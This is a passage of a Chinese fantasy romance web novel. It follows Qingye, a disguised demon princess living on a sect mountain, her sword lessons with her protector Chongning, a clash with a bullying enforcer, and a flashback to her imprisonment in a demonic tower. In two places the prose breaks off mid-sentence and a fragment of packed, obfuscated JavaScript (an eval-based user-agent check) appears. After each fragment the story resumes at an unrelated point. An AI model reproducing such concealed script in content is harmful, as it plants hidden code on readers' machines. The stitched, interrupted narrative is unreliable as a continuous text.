但后来却发现,这把曾征战天下的上古神剑一直被束缚在雪白剑鞘之中,再不会出鞘。 重宁见她有些不平之意,弯了唇角,为她倒了杯茶,“这话可别在其他地方说。” “被几位长老听见,定要罚你大不敬了。” 青叶轻哼一声,伸出自己的手,金色的梦吟在她腕上转了一圈,“这不是还能求助我们圣子大人帮忙吗?” “圣子大人神通广大,一下便能知晓我在何处。” 重宁这才意识到,小姑娘今日来找他是带着小小怨气的。 “梦吟能检测到你周遭的灵力波动。”他开口解释道,“若灵力波动有什么异常,便会将你的位置传讯给我。” “……但感觉有点像监视。”青叶仰头看他,小声说。 她没有旁敲侧击,以这样的方式开口,才符合她一直以来与重宁的沟通方式。 重宁沉默片刻,走至她身前,微微蹲下身。此时,他与她平视着。 男人隔着一层衣袖,轻轻握住她的手腕,梦吟上的芙蓉花流动着微不可见的金光,映入他眼眸。 象征着他身份的器物,如今缠绕在女孩白皙的手腕上。 青叶一时没反应过来,就这样任他握住了。 “青叶,我担心你遇上危险,也担心你一时冲动,惹上自己解决不了的麻烦。” 重宁这样说。 “我时常后悔,那日在玉京海,没有更早发现你。” “将你带回来,便是想从此护住你。” “可那日你因练剑反噬,我却丝毫不知,不得已破门而入,竟见你不省人事……” “……”重宁眼中染上浓雾般的复杂情绪,令青叶看不分明,“我不想再发生这样的事情。” 青叶有些愣住了。 圣子重宁虽性情清冷,却对世人向来慈悲宽和,对她亦是如此。青叶利用的正是这一点。 但此刻他对她说的话,似乎已经超过了“慈悲”的界限。 青叶还没来得及说话,重宁便又问: “你真的想去宗门大比?” 青叶点点头。 “是为了拿到碧云雪草?” 青叶再次点头,又小声说:“我已经答应夏昭和她组队了。” 重宁虽派了江小芦来帮她,但青叶仍有些担心他不让自己去。 不知道为什么,重宁似乎非常忧虑她的安危。 “其实……”重宁垂眸看向青叶,话说了一半,却又转换了语气,“罢了。你交了新朋友,想去便去吧。” “我不拦你,但至少要戴着梦吟,让我知晓你是否安全。” 青叶努力眨了眨眼,正要往深处思考,重宁却缓缓放开了她的手,站起身来。 “别害怕。”他眼中的情绪骤然消散,似从未出现过一般,恢复了温和平静。 “我绝不是要监视你。” “……好吧。”青叶慢慢垂下眼眸,长睫在眼下投出一小片阴影,像敛翅的蝶。 她记得当时江小芦奉命赶来剑斋找她时,并不知道她发生了什么。 所以梦吟应该如重宁所说,只有监测灵力波动的效用。他没有说谎骗她。 重宁待她很好,青叶现在也没办法反对他,摘下梦吟,那反倒会惹他怀疑。 反正,这个物件现在能帮她解决麻烦,之后等她恢复魔丹离开无垢宗,就弃之不用好了。 “现在放心了吗?” 重宁又重新面露微笑,将倒好的茶水推向青叶,“喝口茶。” 青叶抿了一口,是她喜爱的松烟云雾茶。 “好喝。”她也仰起脸朝重宁眼眸弯弯地笑,仿佛先前的怀疑从未出现过一般。 “哦对了,”青叶起身打开桌上的食盒,“小芦让我给你的,说是膳房送的。” 食盒内装着制成各类花卉形制的茶点,看起来十分精致,还散发着诱人的甜美气味。 青叶不困,但此刻看着这些点心,却感到有点饿了。 重宁看了她一眼便说:“你吃吧,我不爱甜食。” “真的吗?”青叶说着,但手已拿起了一块芙蓉花样式的点心。 重宁的寝殿里燃着暖洋洋的灵灯,有好喝的茶和好吃的点心。方才心里那点疑虑被驱散,青叶的心情又开始变得愉快起来。 仙界的好东西真是多。她想着。 夜静谧而安宁,青叶认真地吃着点心,忽而又想起白日里江小芦将她记名在叠云峰一事。 “当时小芦直接将我的名字写上了卷轴,还说只要你想,收我为徒也可以。”青叶好奇,“真的可以吗?” 重宁正坐在她身旁翻看书卷,抬眼望向青叶时,神情间浮起微不可察的暖意。 “按理说,你和小芦都记在叠云峰名下,便是我的弟子。” “但我从不收徒。” “又是什么对于圣子的规定吧,要你全身心都对无垢神君虔诚,连徒弟也不能收。”青叶很快想明白。 “的确如此。”重宁道,“但有些规矩,也不是不能打破。” 青叶扑闪着鸦羽似的眼睫,心里酝酿着小小的坏心思。她不想做重宁的徒弟,但现在有点想逗他。 “师父!”她忽然狡黠地喊他。 “师父师父师父……” 重宁眉头一跳,首次听见这样新奇的称呼。 他假咳两声,伸手敲敲青叶的额头,“我可没有你这样怀疑师父的徒弟。” 噢,他还记着刚刚青叶说他监视自己的事儿呢。 “……不许记仇!”青叶任性的劲儿又上来了,拉住重宁的袖口不放,一双秋水似的眸子就这么看着他。 让重宁完全没有办法。 “行了。”重宁无奈叹气,“与其说这些,不如明日早些起来,我再看看你的剑法。” “不然到时入了千机幻境,换得一身伤……” 忧心的又是他。 “嗯?仙君教我剑法?”青叶歪着头托腮,“那我一定早起!” - 次日,叠云峰后山崖。 晨光透过云隙落下,在地面织出斑驳的金影。 青叶睡醒后,便来此地寻重宁。 昨夜她答应了重宁今天来找他练剑,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青叶此时与重宁,不过就隔着这一枚银杏的距离。 他深邃的眉眼近在眼前,青叶却避过他的目光,只盯着二人手中交锋的剑,咬着唇腕间用力。周遭灵力被她努力地汇聚起来,没能进入她的体内,却聚成了凝霜的剑气。 “这么想赢?”重宁笑了。 青叶这才抬眼看他,不过是瞪了他一眼。 可恶,这人连三分内力都没使出来,还嘲笑她! “哎……”眼前男人轻叹一声,“这样用剑,太过虚耗自身。” “那日,你恐怕是因此遭受反噬的吧。” 重宁忽而使力,威压瞬间涌现,凝霜软剑在青叶掌心颤了颤,终究还是被木剑压过,“铮”地一声,凝霜从她手中飞出。 那枚银杏,也打着旋儿落了地。 “好吧,我输了。”青叶跺着脚跑去捡剑。 重宁又笑了,“你还真打算胜过我不成?” “回来。”他唤道,抬手间微风忽动,将青叶拉了回来,凝霜也飞至他手中。 “你的剑法标准漂亮,足以见得下了功夫。青叶,你非常聪明,甚至是百年难遇的聪明。” 重宁看着她,素来淡漠的双眸此刻也多了几分耐心。 “但,用剑并非是比谁的灵力威压更大。” 青叶难得在他面前好学,问道:“那该如何?” “剑之一道,在于以剑为主,灵力为辅。”重宁垂眸,轻弹手中的凝霜剑,道,“学剑的第一步,便是要知晓,无论对手修为多高,总有剑气流转的僵涩之处。” “也就是——抓弱点。” “青叶,等入了幻境,若是要与人剑道对决,一定要找对方的弱点。” “你没有金丹,灵力支撑的剑气不能持续太久。但,若找准一瞬的破绽,便能一招制敌。” “与他人硬拼灵力的后果,只会损耗自身。” “我明白了。”青叶听了,立即道,“宗门弟子修习的皆是同样的剑法,我只要找到这剑法运用时常见的疏漏,就可以更快发现别人的破绽,对不对?” “一点就通。”重宁俯身戳了戳她的眉心,夸她。 “好了,今日为师便教到这里。”他将凝霜交还至青叶手中。 青叶接过软剑,在手中转了个圈,明亮的剑身映出空中纷纷扬扬的落叶,也映出她眼底一闪而过的精光。 “等等。”她拎着剑,转至重宁身前,狡黠一笑,“用剑者难免暴露弱点,那重宁仙君……” “你有命门吗?” 这话若是别人来问,恐怕显得十分逾越不敬,有试探之嫌。 但此刻青叶神色如此无害,语气听起来只像一位懵懂少女在好奇。 闻言,重宁正在擦拭木剑的手顿了顿,指腹抚过剑身上沾着的点点草木碎屑。 他抬眼看她,秋日晴空映照在男人眸光之中,却让青叶看不大清晰他的态度。 “自然有。”重宁轻笑一声。 “届时若你真能夺得碧云雪草,我便告诉你。” 7. 第 7 章 宗门大比的讯息已传遍了无垢宗各山门派,有资格有意向报名的弟子们皆已在剑斋登记完毕。 剑斋又恢复了往日的模样,弟子们勤加训练,每日剑光不停。 青叶和夏昭也约好每日一同练剑,却没再去过剑斋。上次夏昭带青叶去过的那条小溪边,成了她们心照不宣的秘境。 溪水潺潺淌过覆满青苔的卵石,岸边野草在风中摇曳。此地灵气不算充沛,少有人来,却让她们乐得清静。 日复一日,青叶用剑时的反噬变得越来越小。从一开始的吐血或发热晕倒,如今演变成胸口微微的钝痛。 这样的痛感,早已在她的耐受范围之内。 事实上,只要她能够恢复从前几成的能力,再痛些也无妨。 几个回合下来,夏昭收剑,凑近青叶,“今日练了这么久,你身体如何?” 她伸手想探青叶脉象,却被青叶不动声色地避开。 “无妨。”青叶淡淡地笑着,甩了甩手腕,软剑在她掌心灵活转了个圈,“比从前好多了。” 夏昭却蹙起眉:“可你终究还是在反噬。”她望着青叶,叹了口气,“人怎么能一直忍受疼痛呢。” 青叶低头踢了踢脚下石子,石子滚入溪中,惊得几尾小鱼慌忙游开。“我没有内丹,用剑比别人费劲些,也是正常的。” “习惯便好。”她声音轻浅,却带着不容置喙的执拗。 夏昭见她这般模样,忽然眼珠一转,伸手拽住她衣袖:“好啦,咱们都练了一日,胳膊都酸了。”她晃了晃青叶的手臂,狡黠一笑,“我带你去万灵山上看看我住的小院,怎么样?” 青叶愣了愣。她在无垢宗的活动范围向来有限,除了居住的叠云峰和偶尔去的剑斋,几乎未踏足过其他山峰。万灵山的名字倒是听过,那是玉丹仙君及其弟子的居所,夏昭拜入玉丹门下后,便一直住在那里。 她还没想好怎么回答,夏昭已拉着她的胳膊踏上了去万灵山的祥云。 万灵山上的建筑皆磅礴肃穆,透露着一股不可一世的威严之感。路遇许多有品阶的仙人,夏昭便要收起笑容,带着青叶一同行礼。仙人们皆神情高傲,连一个眼神都没给她们。 青叶领略了一番万灵山的景象,便知道先前宋子弦那狂傲的性情是从何而来了。 弟子们的住所坐落在万灵山半山腰上,夏昭带着青叶穿过几道道灵植结界,结界散去后,眼前便铺开一片苍郁的竹林,密叶层层叠叠,二人循着竹影走了许久后,一方青石板铺就的小院才映入眼帘。 “进来坐。”夏昭掀开门前竹帘,屋里简朴素净,几案上摆着翻旧的剑谱,旁边立着一只青玉瓶,瓶内插着的花儿还凝着新鲜的露水。 青叶忽然觉得这小院像个被精心守护的世界,与万灵山上的压抑格格不入。 夏昭邀青叶坐下,给她倒了杯茶:“这是我从家乡带来的茶,别人可喝不到呢。” 青叶笑了:“那我可太荣幸啦。” 二人坐在窗前,喝着茶赏着窗外竹影。 忽地,夏昭抬了抬手,几案上放着的青玉瓶微微旋转,窗前竹帘悄无声息地放了下来。青叶察觉到,室内结了一个小小的阵法,阻隔外人窥探。 “虽然此处无人,但还是保险些为好。”夏昭说道,“青叶,其实今日邀你前来,还有一些事要同你说。” “我身为玉丹长老门下弟子,也听得了许多秘闻。据说,先前无垢神君赐下碧云雪草时,宗门内几位长老吵得不可开交,都想将这宝物收归自己门下。还是掌门实在看不下去,提出举办宗门大比,将碧云雪草作为年轻弟子中胜者的奖励。” “几位长老修为高深,何必非要争抢?”青叶问道。 “你在圣子的叠云峰中,自然不知宗门内的风起云涌。”夏昭叹气,“无垢宗作为仙家第一宗门,奇珍异宝唾手可得,因而宗门中人不知珍惜,肆意挥霍。再加上近半年魔道肆虐,宗门耗费了无数资源维护仙界和平。虽在外名声大震风光无比,但宗门内实则已资源匮乏,此次得到无垢神君的好东西,各长老自然都想拿来增长自己门派的实力。” “以万灵山为例,玉丹长老门下弟子多如牛毛,灵丹妙药却都攥在几个心腹手中。对于普通弟子而言,要么像宋子弦一般巴结仙长们获取资源地位,要么只能自己闭门造车。若一段时间内达不到修炼要求,便要被遣回原籍。” 青叶听了,心道从前只知她们魔道弱肉强食、不择手段,没想到仙门倒也没好到哪儿去。 “所以,此次宗门大比,我们定会遇到无数阻碍。”夏昭道,“尤其是宋子弦,他是赵执律的心腹,也是棋子。我上次无意间听见他们二人的对话,宋子弦早被委派了任务,对碧云雪草势在必得。” “赵执律?”青叶疑惑问道。 “就是赵如强。”夏昭撇了撇嘴,“玉丹长老跟前的狗腿子,管着咱们这些弟子的考核。” “那次我还听见,宋子弦向他告我们二人的状,和赵如强商量着怎么将我们逐出宗门。” 夏昭嗤笑一声,“这两个家伙可算是打错主意了,你毕竟是重宁仙君的人,哪是他们能动的。” 青叶默不作声了一会儿,接着开口:“那你呢?” “什么?”夏昭转头看向她。 “你说我有重宁仙君撑腰,那你怎么办呢?”青叶问道,“你数次为我解围,要如何面对这些人的恶意?” “别担心我。”她拍了拍青叶的肩膀,“好歹我也是被玉丹仙君引荐进宗门的,他们想要动我也没那么容易。” “我做事总是随心所欲。我觉得你很好,又看不惯宋子弦的做派,所以帮你。大不了,离开宗门,做回从前的散修,自由自在。” 两个女孩儿又聊了许久,直到夕阳在竹林间洒下点点光斑时,夏昭带着青叶准备下山。 她们本准备去山崖处乘祥云,却见崖间一处亭阁内人影攒动,似有几人在那聚会。 青叶望去,和亭中一位中年灰袍男子对上了视线。 那人目光灼灼,神情锐利,让她不由得有些警惕。 这时,夏昭腰间的宗门令牌忽而震动起来。 “该死。”夏昭骂了一声,转过头对青叶说,“那人便是赵执律,他让我过去。” “你在这儿等我一会儿,我去应付他们。” 青叶却没有答应,拉住她的手道:“我们一起去。” 亭阁内果然是一群人在饮酒聚会,石桌上铺了几张宣纸,青叶一瞥,都是一些故作风雅的烂诗,字写的也难看。 夏昭小声和她说:“这些人都是万灵山有品阶的仙长们。” 青叶在心里暗暗想,仙界第一宗门,资质也不过如此。 赵如强盯着青叶看了一会儿,又转向夏昭,道:“夏昭,听说你要参加宗门大比?” “这几位都是咱们万灵山的高阶仙长,过来敬杯酒,让他们指点指点你。” 夏昭迟疑片刻,最终道:“弟子酒量不济,就不在各位仙长面前见笑了。” “不上道。”赵如强轻嗤,他袖口忽而一挥,一道剑气擦着夏昭的耳边飞过,钉在她背后的柱子上。 夏昭耳侧被擦出一道红痕。 “连这般的剑气都躲不过,罔为万灵山弟子。”赵如强转动着腕间的檀木珠,慢悠悠地说着,眼神里满是轻蔑,“不过,我们万灵山向来要求颇高,倒也并非你的错。” 这话明着像是在为夏昭开脱,实则是在变本加厉地羞辱她。 亭中几位仙长要么低头饮酒,要么假意观望远处风景,竟无一人出来说句公道话。 青叶心头怒火翻涌,她方才听夏昭所说,已觉此地乌烟瘴气,却没想到万灵山上,一个执律竟能如此明目张胆地羞辱弟子。 赵如强将一只空杯推至夏昭面前,示意她添酒,“既然剑术不精,就来给几位前辈添酒。这总会吧?” 下一刻,青叶拦在了夏昭身前,冷声道:“赵执律身为长辈,夏昭自然不能相较。若真要考量她天资能力如何,便到时宗门大比再看吧。” “我们还要练剑,就不叨扰几位前辈了。” 这已经是青叶这辈子说过最隐忍的话了。她不想在万灵山上闹事,给夏昭添麻烦。 赵如强这才抬眼,盯着青叶看,明知故问:“你又是什么东西?” 青叶深吸一口气,抬起了自己的手,梦吟缠绕着她的手腕,芙蓉花上被勾勒出一抹淡淡的金色。 “我是叠云峰弟子。”她笑了,“赵执律若是还有问题,我可以请重宁仙君前来万灵山,与赵执律一叙。” 青叶如此明目张胆地搬出重宁这座靠山,赵如强也一时被震住。 大约是没想到,重宁竟真会将自己的圣物赐予她。 “不过是玩笑话。”赵如强呵呵一笑,不动声色地拿回了酒杯,“何必劳烦圣子大人来一趟。” 青叶不再与他多嘴,拉着夏昭便走了。 二人乘着祥云,又回到了那处僻静的小溪旁。 远离了那群人,夏昭才终于松了一口气,她的目光落在青叶身上,开口道:“多谢你青叶,还让你搬出圣子大人替我解围……” “拔剑。”青叶忽然开口,打断了夏昭的话。 她举起凝霜,对着夏昭。 “诶?”夏昭疑惑地愣住。 青叶的双眸像冷星般闪烁,声音毅然:“我不能让那该死的家伙给你留下失败的感受。” 她一字一句地道:“拔剑,然后赢我。” 夏昭看着青叶的眼神,愣了几秒,神情随即从懵懂转为坚定。她深深吸了一口气,拔剑出鞘,轻声道:“好。” 青叶没有利用周遭的灵力,全凭身法与剑术与夏昭对决,即使这会让她遭受更大的反噬。 两人的身影在溪边交错,剑光划过水畔野草,与月色映照的溪水流光交相辉映。 最后,夏昭的剑尖稳稳地停在了青叶的颈边。两人的目光交汇,呼吸声此起彼伏。 “你赢了。”青叶微微喘着气,额头沁出的汗珠滑落,她却释然地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仿佛什么事情超出了她的掌控范围之内。她得做些什么还给他,才能继续心安理得。 刚刚青叶问夏昭,若想报答一个人的恩情,该怎么做比较好? 夏昭想了想,说:“那人有什么喜爱的东西么?可以送一些给对方。” 重宁有喜爱的东西吗?青叶其实不知道。 他是高高在上的圣子,坐拥无数奇珍异宝。 此外,他生活清简,在她入住叠云峰前,古宅幽静得甚至没有活物…… 等等。活物。 青叶脑海中闪过一个念头。 虽然重宁从未说过,但他大约是喜欢她在山上养的那些花的。花草又吸引来了不少鸟雀,有时会在山上叽叽喳喳地叫,重宁也未曾厌烦过。 江小芦似乎也提起过,自山上出现了那些活物,重宁也不像以往那么孤僻了。 那么,如今叠云峰上花与鸟都有了,还差什么呢? 青叶把目光投向了溪间游弋的鱼儿们。 “小鱼啊小鱼,姐姐带你们换个地方生活。” 鱼儿们睁着大眼睛吐泡泡。 青叶很快回到了叠云峰上。带着三只小鱼。 她将它们养在了重宁院外的水缸中。小鱼们一进水缸,便快活地游了起来。 鱼儿伴着周遭的绿植花草,生趣盎然,赏心悦目。 重宁会喜欢吗? 青叶给鱼喂了些食物,忽而听见身后传来脚步声。 “在这儿偷偷摸摸地做什么?”男人踏着月华而来,声音清润,就这样落在青叶耳畔。 青叶抬头看向他,擦去指尖水汽,说:“给仙君捡了几只小鱼回来养。” 重宁闻言,低头向水缸里看去,只见三只鱼儿快活地在水缸中游来游去。 他唇角微弯,露出浅淡笑意,“怎么突然想到养鱼?” “因为想讨仙君开心。”青叶趴在水缸口,抬起头对他说。她看他的神情,心想,应该是喜欢的吧? 青叶如此直白的话语,令重宁不觉微微怔愣。 男人垂眸,望着那三只在水中追逐鱼食的小鱼,轻声问道:“它们有名字吗?” “啊。”青叶没有想过,但说,“可以有。” 她瞧着它们的颜色,伸手指着说:“这只叫小红,这只叫小绿。” “这只最小又最活泼的嘛……”青叶想了想,说,“不如叫小芦!” 重宁不由得笑出了声。 他一笑,青叶便觉得心中因他而来的那点沉重感仿佛轻了些。 “名字也是一道法咒。”重宁的目光凝在水面,那儿映出此刻两人挨得极近的身影,荡漾在水花间。 他的声音很轻,似在同鱼儿说话,“起了名,就要一直在这里陪着我了。” 8. 第 8 章 青叶听了重宁的话,沉默了一会儿。 修界万物有灵,鱼儿也能有机会长生。 她很快会离开此地,让鱼儿们伴着仙君,也很好。 “怎么忽然想到要送我礼物?”重宁忽然开口问道。 他已经将这几只青叶毫不费力抓来的小鱼定义为礼物。 青叶不好意思地笑了笑,说:“今日又假借仙君的名义在外狐假虎威了。” “果然如此。”重宁轻点了点她的脑袋,“无事献殷勤,非奸即盗。” “但是事出有因!”青叶摸摸自己的脑袋,将今日发生的事情说给重宁听,当然,还进行了一些夸大其词。 她和夏昭不一样。夏昭隐忍,是因为玉丹长老太忙,不爱管理这种内部斗争。再者,夏昭性情太过正直,并非爱告黑状之人。 青叶一点儿也不正直,她可太爱告状了。 圣子大人就在身边,怎能不说那些可恶之人的坏话? 重宁当真仔细听了青叶的话,他沉吟片刻,道:“此事我记下了。万灵山的人虽不便直接干涉,但若有机会,我会同玉丹商议。” “闭关太久,宗门内这些乌烟瘴气的事情,也该管管。” “今天做得很好。”重宁改为揉了揉青叶的发顶,“下次若遇上这种事,尽可以将我搬出来。” 青叶仰头朝他盈盈一笑。 她就知道他会帮她。 - 几日后,夏昭与青叶见面时,说了玉丹长老近日整治万灵山之事。 “玉丹长老发了好大的火!赵执律、宋子弦和那些尸位素餐之人可惨了,竟被罚去扫茅厕,真是解气呀!” 青叶满意地笑了:“偌大一个宗门,总有人能管管那些蛀虫。” “啧啧,”夏昭挑眉笑起来,伸手戳了戳她的脸颊,“小青叶真厉害。” 青叶摆摆手:“都是圣子的功劳,我不过起到一个狐假虎威,添油加醋的作用。” “嗯……添油加醋的小青叶,就变成了凉拌青叶……” 夏昭的冷笑话真能让人抖三抖。 青叶无奈地拍开她的手,“说了不许叫我小青叶……唉,算了。” 暮色四合之时,二人练完剑下山。 身旁的夏昭忽而指向远处的竹林间,惊喜地说:“你看!” 青叶望去,只见数只萤火虫正在林木间飞舞,绿光点点,仿佛坠落的星辰。 夏昭伸手捉了一只,萤火虫在她掌心闪烁,映得她眼底也盛满了光芒:“捉些回去放在灯里,比灵珠还亮呢,又有生气。” 青叶看着这些飞舞的萤火,忽然想起重宁常待的静室。那间屋子总是很暗,连一盏孤灯都没有。 她心念一动,不由自主地伸出手,任由一只萤火虫落在指尖,冰凉的触感带着微弱的暖意。 她将捉来的萤火虫放进一只琉璃盏中,夜里提着走在山路上,荧光透过琉璃,映得四周一片朦胧,如临仙境。 然而,提着琉璃盏来到重宁的寝殿外时,青叶却忽然又有些犹豫。 这些萤火虫本是山间精灵,关在盏里虽能活,终究是失了自由。 青叶正思索着,殿门却“吱呀”一声开了。 重宁见了她,又低头望向她手中的琉璃盏,神情温润,“我这是又有礼物了?” 已经被发现了,青叶也不好临时收回,于是将琉璃盏递过去,道:“想着仙君的静室太暗,这些萤火虫或许能照亮些,且莹莹微光不会打搅仙君每月清修……” “只是……”她望着盏中飞舞的绿光,“我方才在想,将它们关在盏中,会不会不太好呢。” 重宁的目光落在青叶身上,他接过了女孩的琉璃盏,点点微光被聚拢在他手掌之间。 “送出的礼物,就没有再收回的道理了。”他声音低沉,这样说着,“虽是关在盏内,但我也会悉心看护,让它们好好生存。” 重宁将青叶带进了殿内,为她斟茶。 又是青叶爱喝的松烟云雾。 圣子大人似乎很容易被讨好。青叶想。她骗人的成本可真小,养几盆花,捉几只小鱼和萤火虫,重宁便会喜欢。 她忽而有些好奇地问道:“仙君每月在黑漆漆的静室内,会害怕吗?” 问出口便觉得好笑,身为圣子的重宁,应当从来没有恐惧害怕的时候吧。 重宁闻言,摇摇头道:“自然不怕。” “不过,”他顿了顿,望向窗外的夜色,“幼时也曾害怕过。” “幼时……”青叶眼珠转了转,“那应该是很久之前了。” 重宁年少成名,后闭关百年。他的幼时,离现在很久远了。 “的确。”重宁微微一笑,“那是百年前的事情。” 青叶不禁想,从她认识重宁起,他便和她一样孑然一身。除了江小芦以外,身边再无他人。 “仙君过去,也曾有过亲人好友吗?”她问道。 重宁看向青叶,半晌,说:“曾经有。” “我曾有父母兄妹,好友也有几个。” “他们皆是凡人,在我被选为圣子进入无垢宗后,便陆续过世了。” “再次相见时……亲朋已成幽魂。在他人相助下,我将他们超度,送去轮回转世。”他眼睫垂落,似在回忆着什么。 “原来如此。”青叶若有所思,“凡人人生短暂,圣子却能长生。” 圣子长生,却要经历亲近之人一一离世……那样悠久的岁月,大概会很寂寞吧。 “那……后来呢?仙君成为圣子后,生活又是什么样的?又是怎样征服神剑的?” 重宁似笑非笑地看了她一眼,说:“不告诉你。” 青叶:“……” 圣子大人也会卖关子,好可恶。 青叶不得不收起了自己的好奇八卦之心。 重宁不动声色,又转换了话题:“问了这么多,也该说说你的事情。” 青叶心一跳,敏锐地觉得这个问题有些危险。 “我的事情……仙君基本上已经都知道了。”她轻描淡写地开口,这次为了显得更逼真,她又加上了些细节。 “我的母亲……在我很小时便不在了。我父亲是个疯子,小时候我曾被他关起来……噢,这点倒是和仙君有那么些相似,我也曾很害怕,后来就不怕了。” “我父亲很快也死了,我被仇家追杀,躲在玉京海附近……再后来,就遇见了仙君。” 青叶习惯性地简化了关于自己的事情。她在撒谎,但说出口的也是真相。 青叶垂眸,腕间的梦吟忽而闪烁起微弱金光,暖暖地包裹在她的手腕上,仿佛是,有人正温柔地握住她。 “如今你在叠云峰上。”重宁轻声开口,“这些不好的事情,日后都不会再发生。” 青叶一笑,抬头望向眉目舒展的重宁,却没有回答。 - 夜色沉沉,青叶回到自己的房中,灵烛烛火在案头明明灭灭,映得她侧脸的轮廓忽明忽暗。 她坐在床沿,方才与重宁的对话仍在她心间挥之不去。 青叶看向不远处大门上的一道浅痕,那是她先前练剑时不小心划下的。 恍惚间,那痕迹竟仿佛与魔界焚月塔顶层的一道魔气印痕重合。 记忆如潮水般涌来,将她卷入不算遥远的过往。 两年前,焚月塔顶层。 青叶一身玄衣,坐在血迹斑斑的宝座上,指尖泛起一缕魔气。 她打了个响指,那魔气便如利剑一般,刺穿身前一只妖怪的身躯,将它钉在墙上,留下一道刻痕,它黑色的血液顺着那道痕迹流淌,蜿蜒至地面。 妖物大声尖叫:“魔女饶命!我再也不敢了!” “你们的表演太无聊了。”青叶打了个哈欠。 “有反抗的力气,不如多给我想些打发时间的花样。” 焚月塔共百层,塔内关押无数穷凶恶极的魑魅魍魉。青叶不知道自己在这座塔里待了多久,仿佛记忆初始之时,眼前便是无穷无尽的妖物鬼怪。她只能一次次地与它们缠斗。 直到后来,青叶收服了整座塔的怪物,将所有曾欺负过她的家伙都踩在脚下。 然后她就觉得很无聊,于是要求它们给她表演节目。有不服从的,便会像方才那家伙一样,被钉在墙上。 不自量力。青叶轻嗤一声。 今天也是无聊的一天。她想着。 然而,就在那日,塔内忽而出现一个幽深的传送法阵。 从法阵中,涌现出一道细细长长的鬼修身影,跪在她身前。 嘶哑的声音恭敬地开口: “殿下,我来接您出去。” 青叶以为又是一个和她玩诡计的鬼怪,于是甩了一道魔气上去。谁知那道身影不闪不避,接下了那重重一击。 “公主殿下。”他仍恭敬地跪着,“属下是洄夜,您忘了吗?” 洄夜微微抬头,视线与青叶相接,霎然间,灵魂内的魂咒起了作用。 青叶微微怔住,此时她想起来了,自己是魔界尊主之女,有一个早逝、温柔的母亲,和一个疯癫的父亲。她被失去神智的魔尊关进了焚月塔,不知过了多久之后,她等来了与自己存在灵魂契约的随从。 然而除了这些以外,她过往的记忆仍旧模糊。 “焚月塔会将入塔之人的记忆渐渐消除。”洄夜像是知晓她在想什么,为青叶解释道,“殿下,随属下出塔吧。” “不要紧,未来,您会有新的记忆。” 一旁围了一圈偷听的妖物鬼怪们像是如蒙大赦,忙高呼:“恭迎公主殿下出塔!” “……”青叶觉得自己出不出去都没什么差别,但塔内实在无聊。她想,外面或许有些乐子。 于是她和洄夜一起,踏进了传送法阵。 当青叶双脚踩在地面时,她还觉得有些许不真实之感。 回头看去,青叶便知道焚月塔为何有此名。魔界夜长昼短,遮天蔽日的怨气自塔顶弥漫而出,如同将夜空中的月亮焚烧殆尽一般。 “喂。”她叫住洄夜,说出了自己自出塔后的第一句话。 “你知道我现在年岁几何吗?” 青叶一直不知道自己的年纪。 “……”洄夜微微躬身,沉默片刻后回应她:“殿下的年岁……可以是十六岁。” 青叶挑眉,“可以是?这是什么意思?” “殿下是十六岁。”洄夜道。 青叶便懒得再问了。 罢了,不过只是数字而已。 后来青叶才知晓,焚月塔中关押的都是魔界搜罗来的罪大恶极的犯人。为折磨这些关在塔内的囚徒,在焚月塔中,时间极其缓慢地流逝,其间一年,便如同人间近百年的光阴。 青叶被关在那无止息的炼狱中,回到现实时,年岁却并未增长多少。 后来,洄夜将她带至一座宏伟而陌生的宫殿里,一个自称是她父亲的男人出现在她面前。 那个男人在青叶为数不多的记忆里是个疯子,事实上的确如此,他的眼神时而狂热,时而迷茫。 “我的女儿,我最厉害的兵器,你终于出来了。”他抓住青叶的手臂,力道大得几乎要捏碎她的骨头。 青叶试图挣脱,却被他抓得更紧。 她的父亲喜怒无常,疯癫无状。见到她后,一会儿要取她的血,说那是开启某个重要秘密的钥匙;一会儿又要她去杀人,让她去解决那些所谓的“敌人”。 青叶被一个魔将带到 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她对这个人倒没有多少恨意,只是很冷静地想:终有一日,她会变得足够强,她会取了他的性命。 但最后,青叶没能如愿。 因为慕沧澜的死期很快到来。 半年前,魔尊身边最亲信的大将虞九幽揭竿而起,发动叛乱,整个魔域都陷入了混乱之中。 慕沧澜死前,召见了洄夜与青叶。 他的黑色长袍拖曳在殿中,死气沉沉,包裹着一副魔气即将耗尽的骷髅之躯。青叶甚至有些认不出来他的身影。 慕沧澜让洄夜往西边鬼修的领地逃亡,替青叶转移叛军的注意力。 接着,他第一次低下头颅,求他的女儿。 “我死之后,请你往东走,去鹤州寻你母亲的魂魄,让她再入轮回。” “什么?”青叶不解。 凡人身死,尚可转世投胎;然而魔修若死,则会在十二时辰内魂飞魄散。 她的母亲已经死去很多年了,早在她进入焚月塔之前。因此,魂魄也早该消散于世间。 接着,从慕沧澜口中,青叶终于得知,母亲当年死后,被慕沧澜覆上了一道不知来历的上古骨符,阴差阳错之下,使其魂魄永存。然而,命灯虽未灭,魂魄却随着那道骨符不知所踪。 慕沧澜这些年来,只要是清醒的时刻,一直断断续续地在寻找。他为了找到妻子,不惜翻遍了魔界的每一寸土地,又秘密派暗卫前往其他地域。 将青叶接出焚月塔后,他取青叶的血,便是想以血缘的线索来寻找妻子的下落。 青叶的血见效了,不久前,慕沧澜终于得到消息,鹤州的界外之地或许便是他要寻找的地方。但魔界硝烟四起,他也到了强弩之末,再没有能力去往鹤州。 于是此时,他把希望寄托在了青叶身上。 青叶听完后,轻笑一声,道:“所以,我只是一个工具。你为什么觉得我会帮你?” 慕沧澜之前从未将引魂的事情告诉她。他将她扔进焚月塔,是为了锻造一个好用的兵器。将她召出,是为了取她的血。 他利用她的血脉,却从未将她当做过女儿。 好在青叶并不在乎。在焚月塔内的时光中,她已丢失了大部分的情感。 “那也是你的母亲。”慕沧澜缓慢地开口,他已经没有多少力气,“她很爱你,比我爱你。” “可我已经忘记了她。” 